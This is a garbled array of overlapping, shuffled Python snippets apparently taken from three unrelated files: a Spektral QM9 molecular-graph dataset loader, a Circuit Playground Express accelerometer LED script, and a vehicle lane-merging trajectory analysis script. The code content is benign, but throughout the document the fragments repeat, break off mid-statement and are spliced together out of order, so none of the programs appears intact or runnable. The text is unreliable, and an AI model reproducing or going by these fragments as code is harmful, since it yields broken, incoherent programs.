atomic charge;", "in mol[\"bonds\"]: start, end = bond[\"start_atom\"], bond[\"end_atom\"] row += [start,", "spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES", "each atom and include: - The atomic number, one-hot encoded;", "cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading QM9 dataset.\") sdf_file", "represent the type of chemical bond between two atoms, one-hot", "cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading QM9 dataset.\")", "n_jobs super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path,", "osp import numpy as np from joblib import Parallel, delayed", "tensorflow.keras.utils import get_file from tqdm import tqdm from spektral.data import", "Y, and Z dimensions; - The atomic charge; - The", "mol[\"bonds\"]: start, end = bond[\"start_atom\"], bond[\"end_atom\"] row += [start, end]", "reading the data (-1, to use all available cores). \"\"\"", "None: labels = labels[: self.amount] return [ Graph(x=x, a=a, e=e,", "- The atomic charge; - The mass difference from the", "spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot, sparse from", "def download(self): get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path,", "sdf_file = osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount) # Internal", "represent the chemical properties of each atom and include: -", "**Arguments** - `amount`: int, load this many molecules instead of", "edge features represent the type of chemical bond between two", "tqdm import tqdm from spektral.data import Dataset, Graph from spektral.utils", "features represent the chemical properties of each atom and include:", "edges represent chemical bonds. There are 5 possible atom types", "get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def", "np from joblib import Parallel, delayed from tensorflow.keras.utils import get_file", "[1, 2, 3, 4] class QM9(Dataset): \"\"\" The QM9 chemical", "atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge, iso]), -1) def mol_to_adj(mol): row,", "mol[\"atoms\"]]) a, e = mol_to_adj(mol) return x, a, e data", "def read(self): print(\"Loading QM9 dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\") data", "= bond[\"start_atom\"], bond[\"end_atom\"] row += [start, end] col += [end,", "label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1,", "os.path as osp import numpy as np from joblib import", "edge_features = [], [], [] for bond in mol[\"bonds\"]: start,", "data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format def read_mol(mol):", "atom in mol[\"atoms\"]]) a, e = mol_to_adj(mol) return x, a,", "a=a, e=e, y=y) for x, a, e, y in zip(x_list,", "the type of chemical bond between two atoms, one-hot encoded.", "from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf", "use for reading the data (-1, to use all available", "import Dataset, Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io", "= osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if", "row += [start, end] col += [end, start] edge_features +=", "amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs)", "e = mol_to_adj(mol) return x, a, e data = Parallel(n_jobs=self.n_jobs)(", "spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1, 6, 7, 8,", "mol_to_adj(mol): row, col, edge_features = [], [], [] for bond", "data set of small molecules. In this dataset, nodes represent", "chemical properties of each atom and include: - The atomic", "mol_to_adj(mol) return x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for", "atom[\"charge\"] iso = atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge, iso]), -1)", "labels = labels.set_index(\"mol_id\").values if self.amount is not None: labels =", "int, load this many molecules instead of the full dataset", "np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]]) a, e = mol_to_adj(mol) return", "C, N, O, F) and 4 bond types (single, double,", "and Z dimensions; - The atomic charge; - The mass", "def mol_to_adj(mol): row, col, edge_features = [], [], [] for", "- The atom's position in the X, Y, and Z", "- `amount`: int, load this many molecules instead of the", "monoisotope; The edge features represent the type of chemical bond", "Load labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file) labels", "2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES),", "\"qm9.tar.gz\")) def read(self): print(\"Loading QM9 dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\")", "download(self): get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\"))", "osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if self.amount", "labels = load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if self.amount is not", "[ Graph(x=x, a=a, e=e, y=y) for x, a, e, y", "CPU cores to use for reading the data (-1, to", "between two atoms, one-hot encoded. Each graph has an 19-dimensional", "labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file) labels =", "[charge, iso]), -1) def mol_to_adj(mol): row, col, edge_features = [],", "Graph(x=x, a=a, e=e, y=y) for x, a, e, y in", "\"gdb9.sdf.csv\") labels = load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if self.amount is", "Node features represent the chemical properties of each atom and", "bonds. There are 5 possible atom types (H, C, N,", "= sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES), ) return a,", "to use all available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def", "atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"] charge =", "SDF format def read_mol(mol): x = np.array([atom_to_feature(atom) for atom in", "read_mol(mol): x = np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]]) a, e", "from tensorflow.keras.utils import get_file from tqdm import tqdm from spektral.data", "dimensions; - The atomic charge; - The mass difference from", "import load_csv, load_sdf ATOM_TYPES = [1, 6, 7, 8, 9]", "= list(zip(*data)) # Load labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels", "5 possible atom types (H, C, N, O, F) and", "the monoisotope; The edge features represent the type of chemical", "many molecules instead of the full dataset (useful for debugging).", "e_list, labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords", "] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"]", "7, 8, 9] BOND_TYPES = [1, 2, 3, 4] class", "= Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) ) x_list,", "a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES), )", "The edge features represent the type of chemical bond between", "The QM9 chemical data set of small molecules. In this", "= mol_to_adj(mol) return x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol)", "position in the X, Y, and Z dimensions; - The", "3, 4] class QM9(Dataset): \"\"\" The QM9 chemical data set", "labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file) labels = labels.set_index(\"mol_id\").values", "n_jobs=1, **kwargs): self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs) def", "dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount) #", "= atom[\"coords\"] charge = atom[\"charge\"] iso = atom[\"iso\"] return np.concatenate((atomic_num,", "atoms, one-hot encoded. Each graph has an 19-dimensional label for", "- The atomic number, one-hot encoded; - The atom's position", "has an 19-dimensional label for regression. **Arguments** - `amount`: int,", "amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\", self.url,", "+= [start, end] col += [end, start] edge_features += [bond[\"type\"]]", "e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80)", "read(self): print(\"Loading QM9 dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\") data =", "col += [end, start] edge_features += [bond[\"type\"]] * 2 a,", "one-hot encoded; - The atom's position in the X, Y,", "import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES =", "The mass difference from the monoisotope; The edge features represent", "cores to use for reading the data (-1, to use", "set of small molecules. In this dataset, nodes represent atoms", "the full dataset (useful for debugging). - `n_jobs`: number of", "9] BOND_TYPES = [1, 2, 3, 4] class QM9(Dataset): \"\"\"", "\"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format def", "for debugging). - `n_jobs`: number of CPU cores to use", "import numpy as np from joblib import Parallel, delayed from", "[], [] for bond in mol[\"bonds\"]: start, end = bond[\"start_atom\"],", "one-hot encoded. Each graph has an 19-dimensional label for regression.", "= \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount", "an 19-dimensional label for regression. **Arguments** - `amount`: int, load", "import os.path as osp import numpy as np from joblib", "bond between two atoms, one-hot encoded. Each graph has an", "to use for reading the data (-1, to use all", "charge = atom[\"charge\"] iso = atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge,", "start, end = bond[\"start_atom\"], bond[\"end_atom\"] row += [start, end] col", "= [], [], [] for bond in mol[\"bonds\"]: start, end", "self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file(", "[] for bond in mol[\"bonds\"]: start, end = bond[\"start_atom\"], bond[\"end_atom\"]", "from spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1, 6, 7,", "# Internal SDF format def read_mol(mol): x = np.array([atom_to_feature(atom) for", "[end, start] edge_features += [bond[\"type\"]] * 2 a, e =", "X, Y, and Z dimensions; - The atomic charge; -", "amount=self.amount) # Internal SDF format def read_mol(mol): x = np.array([atom_to_feature(atom)", "x = np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]]) a, e =", "triple, aromatic). Node features represent the chemical properties of each", "F) and 4 bond types (single, double, triple, aromatic). Node", "aromatic). Node features represent the chemical properties of each atom", "format def read_mol(mol): x = np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]])", "types (single, double, triple, aromatic). Node features represent the chemical", "[bond[\"type\"]] * 2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row),", "graph has an 19-dimensional label for regression. **Arguments** - `amount`:", "number of CPU cores to use for reading the data", "Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv,", "data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) )", "tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data)) # Load", "sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES), ) return a, e", "bond[\"start_atom\"], bond[\"end_atom\"] row += [start, end] col += [end, start]", "represent chemical bonds. There are 5 possible atom types (H,", "[], [], [] for bond in mol[\"bonds\"]: start, end =", "tqdm from spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot,", "4 bond types (single, double, triple, aromatic). Node features represent", "(-1, to use all available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\"", "a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data,", "molecules. In this dataset, nodes represent atoms and edges represent", "= load_sdf(sdf_file, amount=self.amount) # Internal SDF format def read_mol(mol): x", "self.amount is not None: labels = labels[: self.amount] return [", "e, y in zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom):", "return np.concatenate((atomic_num, coords, [charge, iso]), -1) def mol_to_adj(mol): row, col,", "row, col, edge_features = [], [], [] for bond in", "for reading the data (-1, to use all available cores).", "atomic number, one-hot encoded; - The atom's position in the", "mass difference from the monoisotope; The edge features represent the", "= label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"] charge = atom[\"charge\"] iso", "instead of the full dataset (useful for debugging). - `n_jobs`:", "possible atom types (H, C, N, O, F) and 4", "a, e, y in zip(x_list, a_list, e_list, labels) ] def", "def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"] charge", "of small molecules. In this dataset, nodes represent atoms and", "print(\"Loading QM9 dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file,", "represent atoms and edges represent chemical bonds. There are 5", "In this dataset, nodes represent atoms and edges represent chemical", "return [ Graph(x=x, a=a, e=e, y=y) for x, a, e,", "class QM9(Dataset): \"\"\" The QM9 chemical data set of small", "There are 5 possible atom types (H, C, N, O,", "are 5 possible atom types (H, C, N, O, F)", "delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) ) x_list, a_list, e_list", "19-dimensional label for regression. **Arguments** - `amount`: int, load this", "load_csv, load_sdf ATOM_TYPES = [1, 6, 7, 8, 9] BOND_TYPES", "sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1, 6,", "and edges represent chemical bonds. There are 5 possible atom", "8, 9] BOND_TYPES = [1, 2, 3, 4] class QM9(Dataset):", "The atomic number, one-hot encoded; - The atom's position in", "Dataset, Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import", "- The mass difference from the monoisotope; The edge features", "all available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None,", "os import os.path as osp import numpy as np from", "ncols=80) ) x_list, a_list, e_list = list(zip(*data)) # Load labels", "a, e = mol_to_adj(mol) return x, a, e data =", "load_sdf(sdf_file, amount=self.amount) # Internal SDF format def read_mol(mol): x =", "`amount`: int, load this many molecules instead of the full", "= labels[: self.amount] return [ Graph(x=x, a=a, e=e, y=y) for", "atomic charge; - The mass difference from the monoisotope; The", "delayed from tensorflow.keras.utils import get_file from tqdm import tqdm from", "features represent the type of chemical bond between two atoms,", "number, one-hot encoded; - The atom's position in the X,", "charge; - The mass difference from the monoisotope; The edge", "+= [end, start] edge_features += [bond[\"type\"]] * 2 a, e", "super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, )", "end = bond[\"start_atom\"], bond[\"end_atom\"] row += [start, end] col +=", "a_list, e_list = list(zip(*data)) # Load labels labels_file = osp.join(self.path,", "= np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]]) a, e = mol_to_adj(mol)", "QM9(Dataset): \"\"\" The QM9 chemical data set of small molecules.", "= amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\",", "# Load labels labels_file = osp.join(self.path, \"gdb9.sdf.csv\") labels = load_csv(labels_file)", "`n_jobs`: number of CPU cores to use for reading the", "The atom's position in the X, Y, and Z dimensions;", "= atom[\"charge\"] iso = atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge, iso]),", "for mol in tqdm(data, ncols=80) ) x_list, a_list, e_list =", "label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES) coords = atom[\"coords\"] charge = atom[\"charge\"] iso =", "self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading", "from tqdm import tqdm from spektral.data import Dataset, Graph from", "encoded. Each graph has an 19-dimensional label for regression. **Arguments**", "x_list, a_list, e_list = list(zip(*data)) # Load labels labels_file =", "edge_features += [bond[\"type\"]] * 2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row,", "in zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num =", "mol in tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data))", "\"\"\" The QM9 chemical data set of small molecules. In", "self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\", self.url, extract=True,", "in mol[\"atoms\"]]) a, e = mol_to_adj(mol) return x, a, e", "cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1, **kwargs):", "= n_jobs super().__init__(**kwargs) def download(self): get_file( \"qm9.tar.gz\", self.url, extract=True, cache_dir=self.path,", "of each atom and include: - The atomic number, one-hot", "nodes represent atoms and edges represent chemical bonds. There are", "use all available cores). \"\"\" url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self,", "double, triple, aromatic). Node features represent the chemical properties of", "labels[: self.amount] return [ Graph(x=x, a=a, e=e, y=y) for x,", "Internal SDF format def read_mol(mol): x = np.array([atom_to_feature(atom) for atom", "[start, end] col += [end, start] edge_features += [bond[\"type\"]] *", "numpy as np from joblib import Parallel, delayed from tensorflow.keras.utils", "type of chemical bond between two atoms, one-hot encoded. Each", "atoms and edges represent chemical bonds. There are 5 possible", "bond types (single, double, triple, aromatic). Node features represent the", "__init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs = n_jobs", "BOND_TYPES = [1, 2, 3, 4] class QM9(Dataset): \"\"\" The", "atom[\"coords\"] charge = atom[\"charge\"] iso = atom[\"iso\"] return np.concatenate((atomic_num, coords,", "(single, double, triple, aromatic). Node features represent the chemical properties", "of CPU cores to use for reading the data (-1,", "zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"],", "encoded; - The atom's position in the X, Y, and", "url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount =", "ATOM_TYPES) coords = atom[\"coords\"] charge = atom[\"charge\"] iso = atom[\"iso\"]", "4] class QM9(Dataset): \"\"\" The QM9 chemical data set of", "O, F) and 4 bond types (single, double, triple, aromatic).", "chemical bonds. There are 5 possible atom types (H, C,", "this many molecules instead of the full dataset (useful for", "for x, a, e, y in zip(x_list, a_list, e_list, labels)", "this dataset, nodes represent atoms and edges represent chemical bonds.", "osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format", "import tqdm from spektral.data import Dataset, Graph from spektral.utils import", "two atoms, one-hot encoded. Each graph has an 19-dimensional label", "full dataset (useful for debugging). - `n_jobs`: number of CPU", "iso = atom[\"iso\"] return np.concatenate((atomic_num, coords, [charge, iso]), -1) def", "Z dimensions; - The atomic charge; - The mass difference", "a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES)", "small molecules. In this dataset, nodes represent atoms and edges", "Parallel, delayed from tensorflow.keras.utils import get_file from tqdm import tqdm", "atom and include: - The atomic number, one-hot encoded; -", "return x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol", "load this many molecules instead of the full dataset (useful", "col, edge_features = [], [], [] for bond in mol[\"bonds\"]:", "The atomic charge; - The mass difference from the monoisotope;", "import Parallel, delayed from tensorflow.keras.utils import get_file from tqdm import", "ATOM_TYPES = [1, 6, 7, 8, 9] BOND_TYPES = [1,", "types (H, C, N, O, F) and 4 bond types", "(useful for debugging). - `n_jobs`: number of CPU cores to", "the chemical properties of each atom and include: - The", "-1) def mol_to_adj(mol): row, col, edge_features = [], [], []", "start] edge_features += [bond[\"type\"]] * 2 a, e = sparse.edge_index_to_matrix(", "**kwargs): self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self):", "x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in", "atom types (H, C, N, O, F) and 4 bond", "import get_file from tqdm import tqdm from spektral.data import Dataset,", "6, 7, 8, 9] BOND_TYPES = [1, 2, 3, 4]", "properties of each atom and include: - The atomic number,", "for bond in mol[\"bonds\"]: start, end = bond[\"start_atom\"], bond[\"end_atom\"] row", "x, a, e, y in zip(x_list, a_list, e_list, labels) ]", "Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) ) x_list, a_list,", "* 2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features,", "load_sdf ATOM_TYPES = [1, 6, 7, 8, 9] BOND_TYPES =", "labels = labels[: self.amount] return [ Graph(x=x, a=a, e=e, y=y)", "load_csv(labels_file) labels = labels.set_index(\"mol_id\").values if self.amount is not None: labels", "joblib import Parallel, delayed from tensorflow.keras.utils import get_file from tqdm", "extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading QM9", "coords = atom[\"coords\"] charge = atom[\"charge\"] iso = atom[\"iso\"] return", "from joblib import Parallel, delayed from tensorflow.keras.utils import get_file from", "QM9 chemical data set of small molecules. In this dataset,", "Each graph has an 19-dimensional label for regression. **Arguments** -", "for atom in mol[\"atoms\"]]) a, e = mol_to_adj(mol) return x,", "np.concatenate((atomic_num, coords, [charge, iso]), -1) def mol_to_adj(mol): row, col, edge_features", ") os.remove(osp.join(self.path, \"qm9.tar.gz\")) def read(self): print(\"Loading QM9 dataset.\") sdf_file =", "and include: - The atomic number, one-hot encoded; - The", "labels.set_index(\"mol_id\").values if self.amount is not None: labels = labels[: self.amount]", "y=y) for x, a, e, y in zip(x_list, a_list, e_list,", "QM9 dataset.\") sdf_file = osp.join(self.path, \"gdb9.sdf\") data = load_sdf(sdf_file, amount=self.amount)", "bond in mol[\"bonds\"]: start, end = bond[\"start_atom\"], bond[\"end_atom\"] row +=" ]
[ "if cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0, 0, 0)) continue else:", "G = 0 B = 0 x, y, z =", "= G + abs(int(y)) if z: B = B +", "if z: B = B + abs(int(z)) cpx.pixels.fill((R, G, B))", "abs(int(x)) if y: G = G + abs(int(y)) if z:", "blue, at levels related to the x, y and z", "x, y and z values. while True: if cpx.switch: print(\"Slide", "if x: R = R + abs(int(x)) if y: G", "0)) continue else: R = 0 G = 0 B", "x: R = R + abs(int(x)) if y: G =", "= 0 G = 0 B = 0 x, y,", "cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0, 0, 0)) continue else: R", "R = 0 G = 0 B = 0 x,", "# red, green and blue, at levels related to the", "if y: G = G + abs(int(y)) if z: B", "x, y, z = cpx.acceleration print((x, y, z)) if x:", "R + abs(int(x)) if y: G = G + abs(int(y))", "on # red, green and blue, at levels related to", "import cpx # Main loop gets x, y and z", "the x, y and z values. while True: if cpx.switch:", "and z axis acceleration, prints the values, and turns on", "cpx.pixels.fill((0, 0, 0)) continue else: R = 0 G =", "acceleration, prints the values, and turns on # red, green", "and z values. while True: if cpx.switch: print(\"Slide switch off!\")", "related to the x, y and z values. while True:", "green and blue, at levels related to the x, y", "G + abs(int(y)) if z: B = B + abs(int(z))", "turns on # red, green and blue, at levels related", "to the x, y and z values. while True: if", "off!\") cpx.pixels.fill((0, 0, 0)) continue else: R = 0 G", "cpx.acceleration print((x, y, z)) if x: R = R +", "values. while True: if cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0, 0,", "= 0 B = 0 x, y, z = cpx.acceleration", "= 0 x, y, z = cpx.acceleration print((x, y, z))", "z)) if x: R = R + abs(int(x)) if y:", "gets x, y and z axis acceleration, prints the values,", "prints the values, and turns on # red, green and", "adafruit_circuitplayground.express import cpx # Main loop gets x, y and", "R = R + abs(int(x)) if y: G = G", "abs(int(y)) if z: B = B + abs(int(z)) cpx.pixels.fill((R, G,", "True: if cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0, 0, 0)) continue", "= R + abs(int(x)) if y: G = G +", "loop gets x, y and z axis acceleration, prints the", "y and z values. while True: if cpx.switch: print(\"Slide switch", "z values. while True: if cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0,", "at levels related to the x, y and z values.", "and turns on # red, green and blue, at levels", "z = cpx.acceleration print((x, y, z)) if x: R =", "while True: if cpx.switch: print(\"Slide switch off!\") cpx.pixels.fill((0, 0, 0))", "continue else: R = 0 G = 0 B =", "print(\"Slide switch off!\") cpx.pixels.fill((0, 0, 0)) continue else: R =", "y and z axis acceleration, prints the values, and turns", "axis acceleration, prints the values, and turns on # red,", "z axis acceleration, prints the values, and turns on #", "cpx # Main loop gets x, y and z axis", "from adafruit_circuitplayground.express import cpx # Main loop gets x, y", "y: G = G + abs(int(y)) if z: B =", "0 B = 0 x, y, z = cpx.acceleration print((x,", "G = G + abs(int(y)) if z: B = B", "print((x, y, z)) if x: R = R + abs(int(x))", "+ abs(int(x)) if y: G = G + abs(int(y)) if", "0, 0)) continue else: R = 0 G = 0", "and blue, at levels related to the x, y and", "0 G = 0 B = 0 x, y, z", "# Main loop gets x, y and z axis acceleration,", "Main loop gets x, y and z axis acceleration, prints", "= cpx.acceleration print((x, y, z)) if x: R = R", "y, z)) if x: R = R + abs(int(x)) if", "the values, and turns on # red, green and blue,", "red, green and blue, at levels related to the x,", "B = 0 x, y, z = cpx.acceleration print((x, y,", "y, z = cpx.acceleration print((x, y, z)) if x: R", "else: R = 0 G = 0 B = 0", "switch off!\") cpx.pixels.fill((0, 0, 0)) continue else: R = 0", "levels related to the x, y and z values. while", "0 x, y, z = cpx.acceleration print((x, y, z)) if", "values, and turns on # red, green and blue, at", "x, y and z axis acceleration, prints the values, and", "+ abs(int(y)) if z: B = B + abs(int(z)) cpx.pixels.fill((R," ]
[ "and i<100: name = '0'+str(i) elif i>=100: name = str(i)", "car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7", "mpl import matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag", "'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 =", ") ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]]", "9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge", "two situation cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data", "file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2,", "temp_data = data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1] == 0:", "ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y)", "concatenate the information of two cars into one array. Note:", "temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') #", "data. (from 0.01s data) \"\"\" matrix = np.zeros((1, data.shape[1])) for", "np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1 = [],", "in range(T): if i<10: name='00'+str(i) elif i>=10 and i<100: name", "1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data =", "T = temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc", "10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main lane car", "temp_seg_data),axis=0) # else: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data", "np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d')", "def get_low_freq_data(data): \"\"\" Return a data matrix with 0.1s per", "This function serves to separate two situation cases. \"\"\" situation0_data", "- current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3]", "separate sequence segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2", "# plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4))", "np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data", "car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10]", "for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt'", "1.8, # height alpha = 0.3 + 0.7*(T-i) / float(T),", "0: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length,", "(current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, # width 1.8, # height", "of two cars into one array. Note: car1 -- mainlane", "car1_long_vel, c='b', label='main lane car velocity') plt.plot(range(T), 